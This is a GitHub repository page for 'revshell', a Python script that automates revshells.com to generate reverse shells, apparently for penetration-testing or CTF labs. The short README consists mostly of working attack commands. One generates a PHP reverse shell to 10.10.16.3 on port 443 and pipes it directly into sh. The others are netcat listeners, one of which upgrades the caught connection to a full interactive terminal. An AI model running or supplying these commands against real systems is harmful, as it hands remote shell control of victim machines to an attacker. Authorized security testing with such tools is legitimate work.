Skip to content

esp0xdeadbeef/revshell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 
 
 

Repository files navigation

revshell.py

use selenium with python3 on revshells.com (or docker revshells) to generate shells.

Peek 2021-10-08 19-51

revshell command:

rev_shell.py --ip 10.10.16.3 --port 443 -it 'PHP popen' -os linux -st zsh | sh

Listener used (optional):

stty raw -echo; (echo 'script -qc "/bin/bash" /dev/null';echo pty;echo;echo "stty$(stty -a | awk -F ';' '{print $2 $3}' | head -n 1)";echo export PATH=\$PATH:/usr/pkg/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp;echo export TERM=screen;echo alias ll='ls -lsaht'; echo clear; echo id;cat) | nc -lvnp 443 && reset

Normal listener:

nc -lvnp 443

image